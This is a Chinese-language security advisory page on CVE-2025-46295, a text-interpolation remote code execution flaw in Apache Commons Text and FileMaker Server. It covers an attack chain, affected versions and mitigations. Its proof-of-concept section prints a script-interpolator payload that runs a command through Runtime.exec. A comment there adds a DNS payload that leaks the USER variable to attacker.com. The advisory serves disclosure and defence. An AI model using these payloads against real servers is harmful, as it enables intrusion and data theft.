IPBUF安全漏洞报告
English
CVE-2025-46295 CVSS 9.8 严重

CVE-2025-46295: Apache Commons Text 文本插值远程代码执行漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-46295
漏洞类型
远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache Commons Text, FileMaker Server

相关标签

远程代码执行Apache Commons TextStringSubstitutor文本插值CVE-2025-46295FileMaker ServerCVSS 9.8关键漏洞

漏洞概述

CVE-2025-46295是一个严重的安全漏洞,影响Apache Commons Text库1.10.0之前的所有版本。该漏洞源于Apache Commons Text的文本插值(StringSubstitutor)功能存在设计缺陷,当应用程序将用户可控的不可信输入传递到文本替换API时,攻击者可以滥用插值功能触发特定插值器,从而执行任意代码或访问外部资源。攻击者通过构造恶意字符串,利用DNS、URL、Script等插值器,可实现远程代码执行。由于该漏洞无需认证且可远程利用,CVSS评分高达9.8,属于严重级别。FileMaker Server在集成Apache Commons Text组件时受到此漏洞影响,官方已在22.0.4版本中完成修复。

技术细节

Apache Commons Text的StringSubstitutor类提供了强大的文本替换功能,支持多种内置插值器如${script:javascript:...}、${dns:...}、${url:...}等。当应用程序使用StringSubstitutor.replace()方法处理用户输入时,攻击者可通过构造特定的插值表达式触发危险操作。例如,使用${script:javascript:...}可执行JavaScript代码,${dns:xxx}可触发DNS查询,${url:...}可发起HTTP请求。攻击者通常结合JNDI注入或反序列化漏洞,通过script插值器执行任意Java代码。在FileMaker Server中,攻击者可通过Web接口或API传入恶意构造的文本数据,触发服务器端代码执行。该漏洞的核心问题是默认插值器配置过于宽松,未对危险操作进行限制。修复方案包括升级到1.10.0+版本、禁用不安全的插值器、或严格限制输入内容。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用是否使用Apache Commons Text < 1.10.0版本处理用户输入
STEP 2
步骤2
攻击者构造包含恶意插值表达式的payload,如${script:javascript:...}或${dns:...}
STEP 3
步骤3
通过Web接口、API参数或其他用户可控输入点将payload注入到StringSubstitutor.replace()方法
STEP 4
步骤4
服务器解析插值表达式,触发script插值器执行任意代码或dns插值器发起外部请求
STEP 5
步骤5
攻击者获得服务器远程代码执行权限,实现数据窃取、持久化控制或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import org.apache.commons.text.StringSubstitutor; public class CVE_2025_46295_PoC { public static void main(String[] args) { // Malicious input exploiting Apache Commons Text interpolation String maliciousInput = "${script:javascript:java.lang.Runtime.getRuntime().exec('calc.exe')}"; // Vulnerable code - user input passed directly to StringSubstitutor StringSubstitutor interpolator = new StringSubstitutor(); String result = interpolator.replace(maliciousInput); System.out.println("Result: " + result); } } // Alternative PoC using DNS interpolation for OOB testing: // String oobPayload = "${dns:${env.USER}.attacker.com}"; // StringSubstitutor.replace(oobPayload);

影响范围

Apache Commons Text < 1.10.0
FileMaker Server < 22.0.4

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在应用层对所有用户输入进行严格过滤,拒绝包含${开头的字符串;2) 配置StringSubstitutor时使用自定义Resolver,仅启用安全的插值器;3) 限制服务器网络访问权限,防止DNS rebinding和外部资源访问;4) 部署WAF规则检测常见的插值payload特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表